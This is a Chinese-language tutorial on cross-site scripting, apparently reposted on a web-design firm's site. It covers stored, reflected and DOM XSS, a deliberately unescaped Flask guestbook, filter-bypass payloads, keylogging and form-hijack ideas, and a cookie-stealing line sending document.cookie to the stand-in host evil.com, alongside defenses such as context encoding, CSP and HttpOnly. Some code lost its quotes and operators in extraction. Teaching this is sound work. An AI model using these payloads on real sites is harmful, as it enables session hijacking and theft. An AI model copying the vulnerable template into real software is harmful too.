资讯动态

深入理解XSS跨站脚本攻击:原理、分类与防御实践

发布时间:2026/10/20 22:46:43 来源:尧图企业网站定制
1. XSS 到底是什么先别被名字吓住做 Web 开发或者安全测试的朋友一定见过 XSS 这个名字。它全称是 Cross-Site Scripting中文叫跨站脚本攻击。我第一次接触这玩意儿的时候总以为是什么高深莫测的黑客技术后来真正去学、去复现、去写 payload发现它的核心其实就一句话攻击者把恶意脚本塞进了用户的浏览器里执行。为什么叫 XSS 而不是 CSS因为 CSS 早被层叠样式表占用了圈内约定俗成叫 XSS免得撞名。理解了这一点再往下看就顺了。XSS 能做什么往小了说可以在别人浏览器里弹个框、改个页面往大了说能偷 Cookie、劫持会话、篡改页面内容、钓鱼、挂马、挖矿甚至可以配合其他漏洞直接打进后台。这些年我见过太多真实案例很多企业以为自己的系统有 HTTPS、有防火墙就安全了结果一个留言板没过滤整个后台 Cookie 被偷走管理员账号直接失守。所以学 XSS 不是纯粹为了当黑客而是为了在写代码的时候知道哪些地方会出事在测试的时候知道怎么复现问题。这篇文章适合三类人刚入门安全、想搞懂漏洞原理的前端和后端开发者以及正在做渗透测试但还不太熟悉 XSS 细节的朋友。我会用自己踩过坑的经验从原理、实践、利用、防御到排查一条龙讲清楚尽量让小白也能上手复现。2. 漏洞分类与触发原理存储型、反射型、DOM 型到底差在哪2.1 存储型 XSS最危险的持久化投毒存储型 XSS 的核心特点是攻击载荷被保存在服务器端比如数据库、文件、缓存里。用户访问某个页面时服务器会把存储的恶意代码当作用户数据的一部分原样返回给浏览器浏览器解析 HTML 时发现这是一段script就直接执行了。典型场景论坛发帖、评论留言、资料填写、订单备注。攻击者在某个输入框提交scriptalert(1)/script如果服务器没有对这个输入做任何转义直接存进数据库之后每一次有人访问这个帖子浏览器都会弹出弹窗。一次提交永久生效所以叫存储型。它的危害性在于攻击者不需要诱导特定用户点击某个带参数的 URL只要受害者访问了那个被污染的数据页面就会中招。比如在商品评价区批量植入偷 Cookie 的脚本管理员一查看评价Cookie 就被发到攻击者服务器上后台权限直接沦陷。2.2 反射型 XSS一次性的探针偷渡反射型 XSS 的载荷不会存储在服务器上而是直接反射在响应页面里。通常攻击者会构造一个恶意 URL比如http://xxx.com/search?keywordscriptalert(1)/script服务器把keyword的值拼接到搜索页面的 HTML 中用户点击这个链接后浏览器解析时执行了脚本。因为触发条件依赖用户点击特殊构造的链接所以攻击者一般会借助短链接、邮件、聊天消息来诱导。它属于“一次性”攻击载荷只出现在这次请求的响应里刷新页面后可能就没了。很多人觉得反射型比存储型低级其实不然。如果反射型出现在一个高流量站点的搜索接口上配合域名相似欺骗依然可以构造出很隐蔽的钓鱼页面。我见过一个项目搜索框把用户输入原样回显在标题里连尖括号都没过滤攻击者直接把整个搜索页变成了仿冒登录页面。2.3 DOM 型 XSS纯前端的暗流涌动DOM 型 XSS 最容易被忽略因为它不经过服务器。攻击载荷作用于浏览器 DOM 解析过程中通常是location.hash、document.referrer、window.name等浏览器对象被程序取出来后通过innerHTML、document.write、eval等 API 写进了页面。举个例子某页面 JS 代码const name new URLSearchParams(window.location.search).get(name); document.getElementById(greeting).innerHTML Hello, name;攻击者访问http://xxx.com/?nameimg srcx onerroralert(1)这个参数没有发送给服务器但如果页面 JS 里把 name 直接拼到 innerHTML浏览器照样执行了 img 的 onerror 事件。DOM 型 XSS 的特点是不需要服务器参与服务器日志里根本看不到恶意请求。它更隐蔽也更能体现“前端代码信任了不该信任的数据”这一本质。2.4 三者对比一张表看穿它们的差别维度存储型反射型DOM 型载荷是否持久化是存服务器否立即响应否纯前端处理是否经过服务器解析是是不一定可能完全不经过触发条件访问污染页面点击构造的 URL执行特定前端逻辑典型场景评论区、留言板搜索框、错误页前端路由、URL 参数处理危害等级高批量中招中需诱导点击中高隐蔽难追踪我实际测试时的经验是先按存储型排查最容易出问题的输入点凡是入库的内容再测反射型所有会回显参数的地方最后再看 DOM 型重点看用了 innerHTML 的地方。这个顺序能确保覆盖大多数漏洞。3. 漏洞根因与非信任数据流转为什么拼接如此危险3.1 从“数据与代码混淆”看本质XSS 的本质是数据被当成了代码执行。HTML、JavaScript、CSS 本身都是代码浏览器解析这些代码时会根据上下文决定哪些是结构、哪些是内容。如果开发者把用户输入拼接进 HTML且没做转义用户输入的一部分字符就可能被浏览器理解成 HTML 标签或者脚本代码。举个例子一个留言展示div classcomment用户输入/div如果用户输入是/divscriptalert(1)/scriptdiv最终页面变成div classcomment/divscriptalert(1)/scriptdiv/div浏览器解析时/div闭合了前面的容器后面的script变成标签代码执行。这就是“注入”。我听到过一个很贴切的类比把 XSS 看作 SQL 注入的孪生兄弟。SQL 注入是用户输入拼进 SQL 语句把数据变成 SQL 指令XSS 是用户输入拼进 HTML/JS把数据变成浏览器指令。理解了这种“数据与代码混淆”你就抓住了所有注入类漏洞的共同脉络。3.2 非信任数据进入哪些位置最危险不是所有拼接位置都会导致脚本执行危险程度取决于数据最终被放进哪个上下文。我整理了几个常见的危险出口HTML 标签内容里比如div用户输入/div输入尖括号即可注入新标签。HTML 标签属性里比如value用户输入输入 onfocusalert(1) autofocus就能逃逸属性注入新事件。JavaScript 字符串里比如var name 用户输入;输入;alert(1);//就能闭合字符串并执行新代码。CSS 样式里虽然现在少见但某些低版本浏览器或特殊场景下CSS 里的expression()、url()也能执行脚本。URL 地址里比如href用户输入输入javascript:alert(1)点击链接就执行。每种上下文需要不同的转义策略这也是为什么很多“万能过滤”并不可靠。我见过一个项目只把script标签替换为空结果攻击者用img srcx onerroralert(1)轻松绕过。3.3 浏览器解析顺序只有弄清了执行顺序才能绕过浏览器的 HTML 解析有个怪癖如果解析过程中遇到script标签会把它块里的内容作为 JS 代码解析但这个块内部的原生实体会被解码成字符再交给 JS 引擎。所以出现了一种经典 payloadimg srcx onerrorjavascript:alert(1)也有人利用编码绕过比如把alert(1)编码成 HTML 实体放在事件属性里浏览器解析属性时会先做实体解码然后 JS 引擎才执行。理解解析顺序后你能明白为什么简单的正则过滤总有漏网之鱼。真正的防御不是试图穷举所有 payload而是必须做到上下文感知的输出编码。4. 动手实践从环境搭建到基础探测的完整过程4.1 本地靶场不需要外网也能玩的三大思路学 XSS 必须亲手复现否则看再多文章都是空中楼阁。我用过几种不同的靶场环境难度和真实度各有不同。第一种用现成的开源靶场。这类靶场专门为练习设计比如 DVWA 这类经典的 Web 漏洞靶机自带从 Low 到 Impossible 四个难度等级。Low 等级直接不设防Hook 后可以直接看到 payload 如何被拼进 HTMLImpossible 等级展示的是正确写法。这种层级递进的设计特别适合建立对比感知。第二种用本地开发环境自己写个危险页面。其实 VSCode 加一个 Live Server 就够了。新建一个 HTML 文件写死一段未过滤的引用了 URL 参数处理的 JS浏览器打开就能测 DOM 型。要测反射型本地起个简单的 Python HTTP 服务用一段代码把 GET 参数直接拼进响应就能模拟服务器端反射。第三种用虚拟环境搭建有数据库的完整小项目。比如本地装一个轻量级 Web 框架写个带评论入库的页面前端展示评论不回显转义这不就是真实的存储型吗。初学阶段不需要搞得很复杂重点是让你直观看到“输入 → 存储 → 渲染”的完整链路。4.2 基础探测从最笨的输入开始我在测试的时候不会一开始就上复杂的 payload而是先做基础探测搞清楚数据到底怎么走的。流程通常是输入唯一标记字符。比如输入zzqaz123然后在响应页面里搜索这个标记看它出现在哪个位置。标记越独特越好避免和页面原有内容混淆。输入 HTML 片段。比如输入bzzqaz123/b如果页面里有加粗的 zzqaz123说明尖括号没有被过滤HTML 注入成立。输入带事件的 HTML 标签。比如img srcx onerroralert(1)如果弹窗了说明至少能执行 JS。如果弹窗没出来马上按 F12 打开开发者工具看渲染后的 DOM 和网络请求弄清楚是过滤了还是编码了。编码试探。如果发现被过滤或被转义可以尝试各种编码变体。比如img srcx onerroralert(1)里的部分内容用 URL 编码、unicode 编码、HTML 实体编码再输入或者大小写混合比如ImG SrCX Onerroralert(1)很多后端过滤是区分大小写的。4.3 实际复现示例一个带评论功能的页面下面我以一个简化的模拟项目 X 为例展示存储型 XSS 的完整复现过程。这个项目是个极简留言板用户提交昵称和留言后端存储前端展示。整个后端核心代码from flask import Flask, request, render_template_string, redirect app Flask(__name__) comments [] app.route(/, methods[GET, POST]) def index(): if request.method POST: name request.form.get(name) msg request.form.get(msg) comments.append({name: name, msg: msg}) return redirect(/) return render_template_string( h1留言板/h1 form methodpost input namename placeholder昵称 textarea namemsg placeholder留言/textarea button提交/button /form {% for c in comments %} div classcomment strong{{ c.name }}/strong{{ c.msg }} /div {% endfor %} , commentscomments) if __name__ __main__: app.run(debugTrue)注意这里用的是 Python 的render_template_string里面直接把参数当变量替换了。我需要做个声明为了演示漏洞这是刻意省略所有转义的写法真实项目千万别这么写。运行之后先在留言里输入scriptalert(document.cookie)/script提交后回到首页页面直接弹窗显示当前域名下的 Cookie。这就是最原始的存储型 XSS。再试另一种闭合法输入/strongimg srcx onerroralert(xss)因为模板里用strong包住了昵称攻击者先用/strong闭合标签后面的img就独立成了一层新的标签页面加载时找不到图片资源触发 onerror 事件执行 JS。这种闭合型的只要你有仔细看渲染后的 DOM就能举一反三构造更多载荷。4.4 开发者工具是最忠诚的老师我一直推荐大家多使用浏览器开发者工具它对调试 XSS 的帮助超乎想象。主要看三个面板元素面板右键“检查”看 DOM 里实际渲染的结构。输出编码后的数据长什么样拼入了哪一层标签一目了然。网络面板查看请求和响应。反射型 XSS 尤其需要看响应正文确认服务器返回的数据里你的输入出现在哪个位置。还能看到完整请求头、响应头排查有没有 CSP 之类的防护头拦截了脚本执行。控制台面板如果 payload 被浏览器拦截控制台通常会报错。比如 CSP 拦截脚本时会直接输出一条安全策略错误看到这个就说明还有一道防线没绕过需要换思路。我见过有人脚本明明弹窗不出来的原因是浏览器内置了 XSS 过滤器比如旧版 Edge 或 Chrome 的 XSS Auditor 对反射型有限制但现在已经基本被取消或默认关闭不过某些场景还是会遇到。遇到这种问题用键盘上的禁用缓存重载、换浏览器、或者改成 DOM 型测试环境能绕来绕去排查到具体原因。5. 深入利用从弹窗到真正产生危害5.1 窃取 Cookie 与会话劫持弹窗只是证明漏洞存在真正要理解危害得复现 Cookie 窃取。攻击思路很简单在目标页面执行 JS把document.cookie发送到攻击者的服务器。假设攻击者服务器域名是evil.com他写一个接口能接收 GET 参数并打印日志比如new Image().src http://evil.com/log?c document.cookie;这个 payload 放在被攻击页面里执行后浏览器的网络面板上会出现一条新请求Cookie 值作为c参数传到攻击者服务器。攻击者拿到管理员 Cookie 后把这个值直接粘贴进自己浏览器的 Cookie 存储里刷新页面就可能直接以管理员身份进入后台。不过现在很多站点给会话 Cookie 加了HttpOnly标记JS 读不到这个值。遇到HttpOnly的 Cookie 也别灰心XSS 利用还有很多其他路线比如页面篡改和钓鱼。5.2 页面篡改与键盘记录XSS 能改页面 DOM这个能力可以做成很多事。举例攻击者用 JS 把当前页面的表单 action 篡改成自己的服务器用户提交表单时数据就飞到了攻击者手里。或者直接在页面里插入一个假的登录框诱导用户输入账号密码俗称“钓鱼盒子”。还有一个比较恶心的玩法是键盘记录器。把页面上的document.addEventListener(keydown, ...)绑定一个监听函数用户输入的任何内容都被悄悄收集发送。这个结合表单伪造几乎可以绕过大部分二次认证。5.3 结合业务逻辑的定向攻击XSS 不是孤零零的漏洞它常与业务逻辑叠加产生更严重的后果。比如在用户中心通过 XSS 修改个人信息接口把别人绑定成了自己的子账号或者在一个管理后台通过 XSS 触发删除资源的请求利用管理员身份执行危险操作。很多团队以为 XSS 只会产生影响不大的前端行为其实在权限较大的管理后台一个 XSS 就能横向扩散到整个系统。我在代码审阅中发现过一处未过滤的用户名渲染结果该页面只有管理员能访问攻击者把自己的用户名改成一个 payload管理员一登录后台浏览用户列表Cookie 就被偷了。这个案例最后评级是高危理由就是“管理员权限可被接管”。5.4 BeEF 的作用与局限开源工具里BeEFBrowser Exploitation Framework是我经常用来演示 XSS 危害的东西。它本质上是一个浏览器控制框架受害者浏览器只要执行了 BeEF 加载的 JS payload这个浏览器实例就会被绑定到攻击者的控制台上。攻击者可以在控制台查看受害者的浏览信息、当前页面 DOM、网络请求甚至盗取表单数据。不过 BeEF 的局限也很明确它依赖受害者浏览器保持在线而且动作稍大就容易引起警觉。真正工作中我更多还是用自己写的小型取数据脚本配合目标系统的业务特点做精确利用实操对比下来比直接套 BeEF 更可控。6. 防御思路与绕过场景过滤、编码、CSP 到底怎么配6.1 输入校验不是万能的很多人以为前端加了校验、后端加了过滤XSS 就万事大吉。事实是输入过滤只适用于“允许集”明确的情况比如手机号、数字 ID、邮箱可以对字符做白名单校验。但昵称、评论、文章这类自由文本你不可能禁止用户输入任何特殊字符否则业务没法做。对于自由文本正确思路不是过滤恶意内容而是在输出时做上下文编码。也就是根据数据被放入 HTML 的位置选择对应的编码方式放在 HTML 文本内容中转义、、、、放在 HTML 属性中重点转义引号和同时考虑属性本身的不可信放在 JavaScript 字符串中使用 JSON 序列化结果避免手工拼接 JS 字符串放在 URL 中使用 URL 编码并校验协议只允许http/https很多框架自带的模板引擎已经默认开启转义。前面那个 Python 示例如果不用render_template_string而是正常使用模板文件Jinja2 默认就会转义你直接输 payload 也弹不了窗。6.2 常见的限制条件与绕过技巧我收集并复现过不少常见的过滤绕过这里列几个代表性的帮你看清除非法器为什么防不住。大小写绕过后端只过滤script但alert不区分大小写的话ScRiPt就能过。现在很多新站点会做大小写归一处理但这仍能绕掉老代码。标签替换绕过某些过滤器把script替换为空字符串那么输入scriptscript经替换后变成script标签两边字符拼接反而构造成功。编码绕过HTML 事件属性里可以做实体编码所以img srcx onerroralert(1)中的某些字符替换成#97;这类实体过滤正则匹配不到但浏览器解析后依然执行。SVG 与数学标签绕过svg onloadalert(1)不包含“script”敏感词很多黑名单漏掉。还有mathmtext...这类不常见的标签也可能被忽略。无尖括号利用如果输入位置在 JS 字符串里可以通过字符串拼接制造代码执行比如;alert(1);//完全不需要尖括号。这种情况下防御端如果只过滤 HTML 标签就毫无用处。构造绕过 payload 是个开放的脑力游戏。我给新人的建议是不要试图背 payload而是要理解上下文。先确认数据落在哪个位置再选择逃逸该位置的最小语法。只要你能把一个地方的表单格式化打破就能继续注入新代码。6.3 CSP浏览器层面最后的防线Content Security Policy内容安全策略是浏览器提供的一种安全标准。通过响应头或 meta 标签告诉浏览器哪些来源的脚本可以执行。特别重要的一点上 CSP 不是不能绕过但它能极大提高利用门槛。一个基础的 CSP 配置示例Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self这段的意思是默认加载资源只允许本域名脚本也只能从本域名加载不允许内联脚本不允许object标签base-uri限制为本域防止外部修改页面基础链接。加了这样的 CSP 后上面那些直接在script或onerror里写代码的 payload浏览器会直接拦截。即便存在一个注入点攻击者也很难直接执行 JS。但 CSP 是需要懂原理才能配好的。有些人图省事把script-src设成unsafe-inline那就等于放弃了 CSP 对脚本的保护。还有些站点为了加载 CDN 上的 JS 库把script-src写得过于宽松被攻击者利用 CDN 上的既有回调函数绕过。我自己见过一个极端案例站点 CSP 配置是script-src unsafe-inline等于完全没用。完善的 CSP 还会配合nonce-xxx或hash-xxx机制给合法脚本打上标记内联脚本没有对应 nonce 就禁止执行。6.4 业务层面的分层防御清单真正可靠的 XSS 防御绝不是只有一道防线而是靠纵深防御。我建议任何 Web 项目至少做到所有外部数据统一视为不可信入库前不做太多花哨过滤但明确在输出层做编码。对所有 Cookie 设置HttpOnlySecureSameSite标记至少让 Cookie 窃取变得困难。上线前做一轮专门的 XSS 测试重点关注可回显输入的页面和所有用innerHTML的 JS 代码。部署 CSP 响应头并不断调优策略不让它形同虚设。定期做代码审阅搜索代码里的innerHTML、document.write、eval、location引用等危险 API。对开发团队做一次 XSS 专项培训让每个人都理解输出编码不是可选项而是代码规范。7. 常见问题与排查技巧实录7.1 弹窗没弹出来先别怀疑人生初学阶段最容易遇到的挫折就是照着网上的 payload 输入了页面没有任何反应。这时候按顺序排查第一看是不是被转义了。打开开发者工具找到你的输入在 DOM 里长什么样。如果输入里变成了lt;gt;说明服务器已经转义这个点基本没法直接利用。第二看有没有 CSP 拦截。控制台如果有安全策略报错说明 CSP 生效了需要换更迂回的方式。第三看是不是事件时机不对。比如onerror事件必须依赖资源加载失败才会触发如果图片地址写成x其实能加载成功不会一般srcx会失败。但有些元素加载行为不一致换成其他事件比如onanimationstart试试。第四检查脚本语法。如果多个 payload 都失效可能是你构造的语法里引号嵌套错了。最简单的方式是先在控制台手动测试这一行 JS 语法是否正确。7.2 为什么有的 Cookie 偷不到前面提过HttpOnly。当 Cookie 带有这个属性时document.cookie只能拿到非 HttpOnly 的 Cookie。所以测试时发现偷不到不代表 XSS 没危害只能是这个环节的利用点被封住了。这时候把目标转向页面篡改、表单劫持、后台操作等功能同样可以证明漏洞的实际危害。还有一个容易被忽略的点浏览器对跨域请求的 Cookie 携带有限制。攻击者通过new Image().src发出的请求默认不会携带目标站点的 Cookie因为它是攻击者域名收到的请求。但这里我们是要偷 Cookie而不是让目标带着 Cookie 发出去所以目标站 Cookie 会不会自动附带到攻击者域名其实不影响document.cookie读取。7.3 绕过黑名单失败时试试白名单思路黑名单过滤就像打地鼠总有漏网的。我见过一个系统过滤了alert但没过滤prompt和confirm于是prompt(1)同样弹出一个输入框虽说影响有所降低但脚本执行的事实已经成立。更关键的是代码执行本质上不受函数名限制只要找到一个可用函数利用就能成立。遇到黑名单很强、所有常见函数都被禁的极端情况可以试试 ES6 模板字符串配合匿名函数比如直接抛出异常展示内容或者使用onerror触发异常让浏览器把异常内容显示到页面。但这些的利用价值有限真正要做的是找到更隐蔽的注入点。7.4 自动化扫描与人工测试怎么结合自动化扫描器在 XSS 检测上能覆盖常见场景但误报和漏报都不少。我的经验是自动化扫描先排查出了一批可疑点然后人工逐个验证。人工测试时尤其要注意一些扫描器容易忽略的 DOM 型注入因为它们依赖快速浏览器渲染很多场景根本触达不到。另外写一份“XSS 自查清单”能极大提速代码审阅。清单主要包括后端所有模板渲染点确认输出编码是否启用前端所有innerHTML/outerHTML/document.write使用点所有 URL 参数、hash、referrer 的值是否直接进入 DOM是否存在不安全的javascript:协议跳转管理后台的输入与渲染点这部分往往风险更高这段话看着像检查列表但其实真就是我每次项目收尾都会过一遍的标准动作。8. 最后分享一点心得学 XSS 很容易陷入两个极端一是背了一堆 payload看着别人弹窗自己却不知道原理二是知道过滤方法但一到真实项目就发现总有意外情况。我自己走过来的体会是不要沉迷于“绕过某个特定站点”的技巧而要反复训练对数据流的敏感度。看到输入 → 经过什么处理 → 渲染进 HTML 的角度是什么脑子里要能瞬间形成一条链路。链路通了什么问题都好解决。另外强烈建议初学者从“受害者视角”和“开发者视角”来回切换。作为攻击者想的是怎么构造 payload作为开发者想的是在哪个环节不可信数据会变成代码。真正悟到这两者其实是同一件事的后半段时你才算真正理解 XSS 了。还有一个给我省了很多事的小技巧写一个小工具收集各种类型测试输入比如跨站标点、闭合标签、事件属性、编码实体每次测试直接往工具里复制粘贴比手工一遍遍打方便得多。工具本身不用很复杂一个小网页加几个按钮就够用。最后想说XSS 学习不是一两天的事。今天你先搞懂一个弹窗背后的原理明天再去啃 CSP 和框架编码细节积累一段时间后回头看你会发现自己在写代码的时候下意识就会躲开那些危险写法这就是学漏洞最好的回报。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑